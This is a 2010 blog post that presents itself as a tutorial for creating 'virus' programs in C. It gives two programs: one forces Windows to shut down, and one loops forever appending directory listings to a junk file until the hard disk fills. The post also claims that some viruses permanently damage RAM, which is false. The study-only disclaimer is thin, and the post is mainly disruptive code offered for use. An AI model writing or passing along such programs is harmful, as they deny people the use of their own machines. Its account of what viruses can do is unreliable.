Saturday, August 21, 2010

HOW TO CREATE VIRUS PROGRAM IN C LANGUAGE.

0 comments

Hi ,every computer programing students have a dream to make a computer virus. Here we will study simple virus program created in c.(only for study pupose)You test the program in your own computer.There are several types of viruses with different functions.Some of which delete your computers' important files and folders,some change the configurations of your computer system,some dump your hard disc.There are some which can damage your RAM permenently.


(1)The c program which shutdown the windows operating system
Write the following code in tubo c.


CODE:
void main(void)
{
system("shutdown-s");
}


suppose the above.Let file name is close.c and compile and execute the above code.Now close the turbo c compiler and open the directory in window you have saved the close.c (default directory C:\TC\BIN) and double click its exe file (close.exe).After some time your window will shutdown. 

(2) The c program which jam your hard disc.
CODE:
/*virus.exe*/
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>â.ša.exe");
}
}


here a simple virus program but it has ability to jam your hard disc.The program make a self growing file which grow to few MB and continue infinitely.How it works?-The system call "dir>>â.ša.exe" will execute the dos command 'dir' and redirect its output to a file "â.ša.exe".So running the program in a folder having many files and folders will increase the size of "â.ša.exe" in great amount.This process will continue infinitely as this is in while(1) loop.Remember to recover from this virus infection simply delete the virus.exe file.

Leave a Reply